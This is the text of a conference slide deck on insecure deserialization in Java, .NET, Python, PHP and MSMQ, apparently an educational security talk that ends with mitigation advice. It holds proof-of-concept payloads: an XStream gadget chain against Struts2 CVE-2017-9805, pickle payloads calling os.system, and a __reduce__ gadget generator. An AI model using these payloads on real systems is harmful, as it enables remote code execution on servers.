SlideShare a Scribd company logo
1 of 101
(DE)SERIAL KILLERS
Dor Tumarkin
Intro to Serialization/Deserialization
Overview
In Code
Real-Life Scenarios
Languages, Frameworks, Exploitation
Java
.NET
Python
PHP?
Go?
Built-in Deserialization Attacks
Conclusions
Best Practices and Mitigation Basics
AGENDA
You’ll probably enjoy this most if you have:
Some familiarity with code
Fundamental exploitation
Chill regarding over-simplifications
The ability to GO FAST, because we gonna
ASSUMPTIONS
AppSec Researcher TL @ Checkmarx (2 yrs)
Formerly a Senior Consultant @ Cisco’s
COE – RT, PT (2.5 yrs)
7 years actively poking s*it until it
explodes
Father of one epic girl and one shaggy
doggo
Verbose AF
Opinions (and naughty words) are my own
and do not reflect my employer’s, obviously
ABOUT ME
DorTumarkin
Dor.Tumarkin@Checkmarx.com
"Serialization is the process of translating data
structures or object state into a format that
can be stored or transmitted and
reconstructed later."
- Wikipedia
INTRO TO SERIALIZATION
Can be divided into 3 types of serialization formats
Language native – specific for a language
INTRO TO SERIALIZATION
Can be divided into 3 types of serialization formats
Language Native – specific for a language
Generic – CSV, JSON, YAML, XML
INTRO TO SERIALIZATION
Can be divided into 3 types of serialization formats
Language Native – specific for a language
Generic – CSV, JSON, YAML, XML
Specialized – Protobuf, MessagePack, CBOR (Out of scope)
INTRO TO DESERIALIZATION
The serialized object can then be transmitted over a
network, stored in a file, written to a DB
Most standard serializers will work with all native
serializable data structures, which can, themselves,
often reference almost any class.
INTRO TO DESERIALIZATION
It’s kind of like making Soup in a Cup
You take a bowl of soup
And you dehydrate it into a powder
Checkmarx is not sponsored by any soup vendors
All rights belong to their respective owners
INTRO TO DESERIALIZATION
The powdered soup can then be stored, or
distributed
Want soup? Just add water!
DESERIALIZATION IN CODE
A basic example of Deserialization
in Java, using XStream, a very
popular XML serializer:
1. int id = 1;
2. String name = "John Doe";
3. String address = "1 Elm St.";
4. String[] items = new String[] {"Alarm Clock", "Baseball Bat"} ;
5. ATestingClass testingObj = new ATestingClass(id, name, address, items);
6. XStream xstream = new XStream();
7. System.out.println(xstream.toXML(testingObj));
DESERIALIZATION IN CODE
The console output is:
<ATestingClass>
<id>1</id>
<name>John Doe</name>
<address>1 Elm St.</address>
<items>
<string>Alarm Clock</string>
<string>Baseball Bat</string>
</items>
</ATestingClass>
This format can be easily transmitted, stored, etc.
DESERIALIZATION IN CODE
This object can then be reconstructed from the XML
XStream produced earlier:
1 ATestingClass newATestingClass =
2 (ATestingClass)xstream.fromXML(serializedATestingClass);
3
4 System.out.println(newATestingClass.getName());
Which would produces the following output:
John Doe
DESERIALIZATION CAVEATS
The most significant thing to
consider here is that a class must
be identical in types between
both source (serialized) and
destination (deserialized) –
otherwise, errors may occur
REAL WORLD USE CASES
APIs – for example, Struts2 Rest API
uses deserialization to convert XMLs to
objects
Saving current application state to a
file/DB
REAL WORLD USE CASES
Server-to-Server distributed workload -
e.g Pickling in Python is often
used to distribute workload
across processes and systems
Many more!
ISN’T SERIALIZATION
AMAZING??
Wait a minute...
Rewind a Bit
REAL WORLD USE CASES
Server-to-Server distributed workload -
e.g Pickling in Python is often
used to distribute workload
across processes and systems
Many more!
The serialized object can then be transmitted over a
network, stored in a file, written to a DB
Most standard serializers will work with all native
serializable data structures, which can, themselves,
often reference
INTRO TO DESERIALIZATION
almost any class.
LANGUAGES,
FRAMEWORKS,
EXPLOITATION
ACKNOWLEDGEMEN
TS
• Marshalling Pickles
• ysoserial
Chris Frohoff
• Friday the 13th JSON Attacks
• ysoserial.netObjectDataProvider
Oleksandr Mirosh
Alvaro Munoz
• Are You My Type? Breaking .NET Through
Serialization
• ysoserial.netTypeConfuseDelegate
James Forshaw
• Disclosing CVE-2017-9805 & Exploit Gadget Man Yue Mo
DESERIALIZATION EXPLOITATION DEMO
DESERIALIZATION EXPLOITATION DEMO
DESERIALIZATION EXPLOITATION DEMO
Struts2 CVE-2017-9805 REST-API-SHOWCASE Demo
DESERIALIZATION EXPLOITATION DEMO
Struts 2
Server
Struts 2
REST API
DESERIALIZATION EXPLOITATION DEMO
ProcessBuilder.start(“cmd”, “/c calc”)
DESERIALIZATION EXPLOITATION DEMO
EXPLOITATION – GO GO GADGET!
This is an example of an
Apache Commons based
gadget chain (more later)
Commons is very popular
Part of Struts2 already
Very difficult to detect with
heuristics
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value
class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource
class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator" />
<next class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/c</string>
<string>calc</string>
DESERIALIZATION EXPLOITATION DEMO
Let’s Check
the Server
DESERIALIZATION EXPLOITATION
What just happened…?
The naïve deserializer inside Struts2’s Rest
API (which is, again, XStream) does not
restrict which classes that can be
deserialized by XStream!
And calls the default XStream constructor:
DESERIALIZATION EXPLOITATION
This has since been fixed:
plugins/rest/src/main/java/org/apache/struts2/rest/handler/AllowedClassNames.java
EXPLOITATION – GO GO GADGET!
Gadget Chains are a nickname for
nested, serialized objects
Chains what deserialization does:
Sets instance variables
Instance methods are
automatically invoked
Init HashMap
Attack Payload
EXPLOITATION – STRUTS2 GADGET CALL FLOW
Key
.hashCode()
NativeString
.getStringValue()
CharSequence
.toString()
Base64Data
.toString()
Base64Data
.get()
(CipherInput
Stream)
InputStream
.read()
Cipher
.Update()
Cipher
.chooseFirst
Provider()
Iterative calls
to
Iterator.next()
new ProcessBuilder()
ProcessBuilder.start()
EXPLOITATION – GO GO GADGET!
They can become extremely difficult to design
Must live off the land - use available classes
Must parse
However- don’t always have to complete
deserialization
DESERIALIZATION EXPLOITATION DEMO
Consider the following code:
And the following object (in the same namespace as Order):
.NET GADGETS
.NET GADGETS
Working as intended!
.NET GADGETS
Cool.
But what would JsonConvert.DeserializeObject() do with
this guy?
ysoserial.net/ObjectDataProvider
DESERIALIZATION EXPLOITATION DEMO
(Order)JsonConvert.DeserializeObject()
Press Enter to
Parse Evil JSON
.NET GADGETS
“Safe” deserialization is possible:
Bad
.NET GADGETS
“Safe” deserialization is possible:
Implementation uses the generic notation as the
expected Type, and fails on time
Without it, anything gets deserialized
There are ways to have multiple types, of course
The bigger issue is – usage is vague
Good
.NET GADGETS
What exception was thrown?
Since casting was of the wrong object, an
exception occurred
TOO LATE
UNTYPED DESERIALIZATION EXPLOITATION DEMO
Python Pickle Demo
UNTYPED DESERIALIZATION EXPLOITATION DEMO
(i__main__
Trade
p0
(dp1
S'userID'
p2
S'12345'
p3
sS'broker'
p4
S'John Doe'
p5
sb.
Consider the following Python code:
UNTYPED DESERIALIZATION EXPLOITATION DEMO
Trade object
deserialized; broker
name is:John Doe
Next, consider deserialization:
DESERIALIZATION IN PYTHON
Strictly typed languages would
have an easier time at looking
ahead at classes during
construction
Untyped languages, on the other
hand…
DESERIALIZATION IN PYTHON
cposix
system
p1
((lp2
S'gnome-calculator'
p3
atRp4
.
cnt
system
p1
((lp2
S'calc.exe'
p3
atRp4
.
Windows Sample Linux Sample
UNTYPED DESERIALIZATION EXPLOITATION DEMO
Unpickling
Code
Press Enter to
pickle.loads()
DESERIALIZATION IN PYTHON
Generating a Python gadget for pickles is simple:
__reduce__ provides the Pickle-able form of a method and
args tuple
Basically spring-loaded code injection bombs
class RunCalc(object):
def __reduce__(self):
return (os.system, (["calc.exe"],))
print pickle.dumps(RunGnomeCalc())
DESERIALIZATION IN UNTYPED LANGUAGES
PHP built-in deserialization is
very… specific?
Deserialization only triggers
specific magic methods
(__wakeup, __destruct)
Sets members without
constructor
DESERIALIZATION IN UNTYPED LANGUAGES
PHP’s own limitationsdesign saves it:
Built-in methods are actually “language
constructs”
Not part of any class
Essentially “white-lists” to custom classes
Can still be exploited under certain
conditions for many things, including RCE
…contextually, more-so than Java/.NET
POP QUIZ
How would deserialization in Go look like?
More or less complicated to exploit?
ROOT CAUSE
At this point some common threads are
very noticeable:
Deserialization streamlines object
construction from string/bytes
Dangerous IFF you naïvely deserialize
tainted inputs! Never trust those!
Remote naïve deserialization is super
dangerous, tons of RCE samples
ROOT CAUSE
But in many cases deserialization is
only local or trusted
And there are alternatives in APIs
Not like there are whole technologies
designed to distribute objects via
serialization, right?
EXPLOITING
DISTRIBUTED
SYSTEMS WITH BUILT-
IN DESERIALIZATION
MESSAGE QUEUES
AND
DESERIALIZATION
MESSAGE QUEUES
Message Queues literally distribute
messages via a queue
Agnostic MQs just send strings or bytes
(Rabbit, Kafka), which can be wrapped
with senders and receivers
DESERIALIZATION IN MESSAGE QUEUES
But some allow sending objects!
End-to-End:
Serialize
Publish
Subscribe
Deserialize
So… are end-to-end object MQs
basically an RCE delivery system?
DESERIALIZATION IN MESSAGE QUEUES
Java’s JMS is well documented as vulnerable
Many Java samples available
“Pwning Your Java Messaging” – BH2016, by Matthias Kaiser
public void onMessage(Message message) {
try {
ObjectMessage objectMessage = (ObjectMessage) message;
objectMessage.getObject(); //BOOM
DESERIALIZATION IN MESSAGE QUEUES
Begs the question - what about
.NET?
It has Microsoft Message Queue!
(MSMQ)
Ancient
Still in use though :D
DESERIALIZATION IN MESSAGE QUEUES
MSMQ Server is a
Windows Feature
Uses two object
serialization formatters:
XML
Binary
DESERIALIZATION IN MESSAGE QUEUES
Embarked on some Research™!
The only reference we found to these
formatters in a security context was:
DESERIALIZATION IN MESSAGE QUEUES
DESERIALIZATION IN MESSAGE QUEUES
MSMQ DEMO
MSMQ MSDN
Sample
https://msdn.microsoft.com/en-
us/library/system.messaging.binary
messageformatter(v=vs.110).aspx
MSMQ DEMO
Ripped from ysoserial.net/TypeConfuseDelegateGenerator.cs
MSMQ EXPLOITATION DEMO
Basic MSMQ
Send & Receive
MSMQ EXPLOITATION DEMO
Malicious Message Sent
Press Enter to Receive…
DESERIALIZATION IN MESSAGE QUEUES
MSDN samples being dangerous isn’t
great
But is this enough? Is there
something a little more official?
Maybe it’s just bad because of
brevity?
MSMQ EXPLOITATION DEMO
MSMQ LargeMessageQueue Microsoft Sample Exploit Demo
https://github.com/Microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples
/netds/messagequeuing/LargeMessageQueue
MSMQ EXPLOITATION DEMO
Sample Microsoft application for sending and receiving binary
MSMQ DEMO
Ripped from ysoserial.net/TypeConfuseDelegateGenerator.cs
MSMQ EXPLOITATION DEMO
And Now to Receive…
MSMQ EXPLOITATION DEMO
BinaryMessageFormatter is set:
And as soon as you step over .Body…
MSMQ EXPLOITATION DEMO
Exploit utilizes ysoserial.netTypeConfuseDelegate gadget
as message body to attack .NET 4
https://github.com/Dor-Tumarkin/MSMQ-
BinaryMessageFormatter-Exploit-for-.NET-4.5
Also successfully modified the
ysoserial.netActivitySurrogateSelector gadget to work
with original target version, .NET 3.5
https://github.com/Dor-Tumarkin/MSMQ-
BinaryMessageFormatter-Exploit-for-.NET-3.5
DESERIALIZATION IN MSMQ
MSMQ with
BinaryMessageFormatter
(BMF):
Exploitable by default
Cannot explicitly set types
Intended for remote use
DESERIALIZATION IN MSMQ
In what scenarios is
BinaryMessageFormatter used?
Complex objects
Large messages
High-throughput
Not particularly common in open-source,
though
Observed traces in some middleware
implementations
Also in some workload distribution
code
DESERIALIZATION IN MSMQ
It is recommended in various
places, such as O’REILLY’s
“C# Cookbook” (2015 4th
Edition)
DESERIALIZATION IN MSMQ
Conclusion: DON’T READ BOOKS
Anyway, when confronted with a vulnerable sample:
DESERIALIZATION IN MSMQ
Anyway, when confronted with a vulnerable sample:
DESERIALIZATION IN MSMQ
DESERIALIZATION IN MSMQ
You know who were actually good
sports about it?
O’Reilly!
ADDITIONAL RISKS IN
DESERIALIZATION
84
DESERIALIZATION – OTHER DANGERS
Deserialization errors will
throw exceptions that may
hurt the flow of the
application.
DESERIALIZATION – OTHER DANGERS
In some languages or
implementations, the object is
built from reflection, or with
“default” language constructors
…possibly bypassing any setter
or constructor checks
DESERIALIZATION – OTHER DANGERS
In other words – can’t assume
anything about values and logic!
AN INDUSTRY
PERSPECTIVE
88
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
Critical vulnerabilities found in:
WebLogic
WebSphere
JBoss
Jenkins
OpenNMS
Struts2
Liferay
Coldfusion
Multiple Cisco products
The list goes on.
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
Part of OWASP Top 10 2017!
A8 – Insecure Deserialization
It’s technically “A1 – Injection”
in 2013, but got its own
category in 2017, particularly
with all that media buzz
(and industry tears)
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
Remote Code Execution
“CVSS 10” Vulnerabilities
Complete CIA obliteration
Overwrite/Corrupt Objects
Exceptions, DoS
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
[Java] Serialization
was a horrible mistake
made in 1997 [1] Oracle is planning on
dropping serialization
support in Java.
This does not matter.
[1]-https://www.infoworld.com/article/3275924/java/oracle-
plans-to-dump-risky-java-serialization.html
MITIGATION:
DO`S AND
DO`SN`TS
93
WRONG WAYS TO MITIGATE
Catch exception from failed deserialization
Too late, possibly irrelevant, you lose.
WRONG WAYS TO MITIGATE
Assert correct type
Obviously too late
You lose again
ACTUAL MITIGATIONS
NEVER DESERIALIZE
UNTRUSTED DATA
In Untyped languages
With Untyped deserializers
Or dangerous types!
Choose a white-list
approach
ADDITIONAL MITIGATION STEPS
TEST your deserializers, even when
using well defined white-lists
TEST to fail before object creation
TEST if your deserializer goes
through setters and ctors!
If it doesn’t, re-implement logic
in deserialization
MITIGATION BY AVERSION
If you’re still paranoid, maybe build
your own data-to-constructor
transformer instead?
Poor performance 
Requires work 
Secure(?) 
CONCLUSIONS
Deserialization is kinda awesome
Too awesome?
Classic automagic!
Deserialization can be deadly
Still a lot of potential areas to explore
Never trust a deserializer – always test it
QUESTIONS?
<java.lang.String>
Thanks!
</java.lang.String>
DorTumarkin
Dor.Tumarkin@Checkmarx.com
github.com/Dor-Tumarkin/

More Related Content

Similar to Serialization and Deserialization Vulnerabilities

New and improved hacking oracle from web apps sumit sidharth
New and improved hacking oracle from web apps   sumit sidharthNew and improved hacking oracle from web apps   sumit sidharth
New and improved hacking oracle from web apps sumit sidharthowaspindia
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)Ferruh Mavituna
 
Hacking 101 for developers
Hacking 101 for developersHacking 101 for developers
Hacking 101 for developersTomer Zait
 
Python fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuanPython fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuanWei-Yuan Chang
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers dofangjiafu
 
Black ops of tcp2005 japan
Black ops of tcp2005 japanBlack ops of tcp2005 japan
Black ops of tcp2005 japanDan Kaminsky
 
Get-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for EvilGet-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for Eviljaredhaight
 
the productive programer: mechanics
the productive programer: mechanicsthe productive programer: mechanics
the productive programer: mechanicselliando dias
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassRob Fuller
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9sumsid1234
 
Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]Vincent Batts
 
Drupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityDrupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityMediacurrent
 
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...Felipe Prado
 
Introduction to ida python
Introduction to ida pythonIntroduction to ida python
Introduction to ida pythongeeksec80
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersYury Chemerkin
 

Similar to Serialization and Deserialization Vulnerabilities (20)

New and improved hacking oracle from web apps sumit sidharth
New and improved hacking oracle from web apps   sumit sidharthNew and improved hacking oracle from web apps   sumit sidharth
New and improved hacking oracle from web apps sumit sidharth
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
 
Hacking 101 for developers
Hacking 101 for developersHacking 101 for developers
Hacking 101 for developers
 
Python fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuanPython fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuan
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
 
Interpolique
InterpoliqueInterpolique
Interpolique
 
Black ops of tcp2005 japan
Black ops of tcp2005 japanBlack ops of tcp2005 japan
Black ops of tcp2005 japan
 
All of javascript
All of javascriptAll of javascript
All of javascript
 
Get-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for EvilGet-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for Evil
 
the productive programer: mechanics
the productive programer: mechanicsthe productive programer: mechanics
the productive programer: mechanics
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
 
Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]
 
Interpolique
InterpoliqueInterpolique
Interpolique
 
Drupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityDrupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal Security
 
55 New Features in Java 7
55 New Features in Java 755 New Features in Java 7
55 New Features in Java 7
 
55j7
55j755j7
55j7
 
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
 
Introduction to ida python
Introduction to ida pythonIntroduction to ida python
Introduction to ida python
 
Filip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routersFilip palian mateuszkocielski. simplest ownage human observed… routers
Filip palian mateuszkocielski. simplest ownage human observed… routers
 

Recently uploaded

Exploring Selenium_Appium Frameworks for Seamless Integration with HeadSpin.pdf
Exploring Selenium_Appium Frameworks for Seamless Integration with HeadSpin.pdfExploring Selenium_Appium Frameworks for Seamless Integration with HeadSpin.pdf
Exploring Selenium_Appium Frameworks for Seamless Integration with HeadSpin.pdfkalichargn70th171
 
Odoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 EnterpriseOdoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 Enterprisepreethippts
 
Machine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringMachine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringHironori Washizaki
 
Implementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with AzureImplementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with AzureDinusha Kumarasiri
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样umasea
 
SpotFlow: Tracking Method Calls and States at Runtime
SpotFlow: Tracking Method Calls and States at RuntimeSpotFlow: Tracking Method Calls and States at Runtime
SpotFlow: Tracking Method Calls and States at Runtimeandrehoraa
 
VK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web DevelopmentVK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web Developmentvyaparkranti
 
cpct NetworkING BASICS AND NETWORK TOOL.ppt
cpct NetworkING BASICS AND NETWORK TOOL.pptcpct NetworkING BASICS AND NETWORK TOOL.ppt
cpct NetworkING BASICS AND NETWORK TOOL.pptrcbcrtm
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesPhilip Schwarz
 
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...Cizo Technology Services
 
Unveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesUnveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesŁukasz Chruściel
 
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...OnePlan Solutions
 
CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceBrainSell Technologies
 
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte GermanySuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte GermanyChristoph Pohl
 
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...Angel Borroy López
 
SensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving CarsSensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving CarsChristian Birchler
 
How to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationHow to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationBradBedford3
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based projectAnoyGreter
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaHanief Utama
 

Recently uploaded (20)

Exploring Selenium_Appium Frameworks for Seamless Integration with HeadSpin.pdf
Exploring Selenium_Appium Frameworks for Seamless Integration with HeadSpin.pdfExploring Selenium_Appium Frameworks for Seamless Integration with HeadSpin.pdf
Exploring Selenium_Appium Frameworks for Seamless Integration with HeadSpin.pdf
 
Odoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 EnterpriseOdoo 14 - eLearning Module In Odoo 14 Enterprise
Odoo 14 - eLearning Module In Odoo 14 Enterprise
 
Machine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their EngineeringMachine Learning Software Engineering Patterns and Their Engineering
Machine Learning Software Engineering Patterns and Their Engineering
 
2.pdf Ejercicios de programación competitiva
2.pdf Ejercicios de programación competitiva2.pdf Ejercicios de programación competitiva
2.pdf Ejercicios de programación competitiva
 
Implementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with AzureImplementing Zero Trust strategy with Azure
Implementing Zero Trust strategy with Azure
 
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
办理学位证(UQ文凭证书)昆士兰大学毕业证成绩单原版一模一样
 
SpotFlow: Tracking Method Calls and States at Runtime
SpotFlow: Tracking Method Calls and States at RuntimeSpotFlow: Tracking Method Calls and States at Runtime
SpotFlow: Tracking Method Calls and States at Runtime
 
VK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web DevelopmentVK Business Profile - provides IT solutions and Web Development
VK Business Profile - provides IT solutions and Web Development
 
cpct NetworkING BASICS AND NETWORK TOOL.ppt
cpct NetworkING BASICS AND NETWORK TOOL.pptcpct NetworkING BASICS AND NETWORK TOOL.ppt
cpct NetworkING BASICS AND NETWORK TOOL.ppt
 
Folding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a seriesFolding Cheat Sheet #4 - fourth in a series
Folding Cheat Sheet #4 - fourth in a series
 
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
Global Identity Enrolment and Verification Pro Solution - Cizo Technology Ser...
 
Unveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New FeaturesUnveiling the Future: Sylius 2.0 New Features
Unveiling the Future: Sylius 2.0 New Features
 
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
Tech Tuesday - Mastering Time Management Unlock the Power of OnePlan's Timesh...
 
CRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. SalesforceCRM Contender Series: HubSpot vs. Salesforce
CRM Contender Series: HubSpot vs. Salesforce
 
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte GermanySuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
SuccessFactors 1H 2024 Release - Sneak-Peek by Deloitte Germany
 
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
Alfresco TTL#157 - Troubleshooting Made Easy: Deciphering Alfresco mTLS Confi...
 
SensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving CarsSensoDat: Simulation-based Sensor Dataset of Self-driving Cars
SensoDat: Simulation-based Sensor Dataset of Self-driving Cars
 
How to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion ApplicationHow to submit a standout Adobe Champion Application
How to submit a standout Adobe Champion Application
 
MYjobs Presentation Django-based project
MYjobs Presentation Django-based projectMYjobs Presentation Django-based project
MYjobs Presentation Django-based project
 
React Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief UtamaReact Server Component in Next.js by Hanief Utama
React Server Component in Next.js by Hanief Utama
 

Serialization and Deserialization Vulnerabilities

Editor's Notes

  1. I guess you can remove the GIFs if you REALLY feel like it 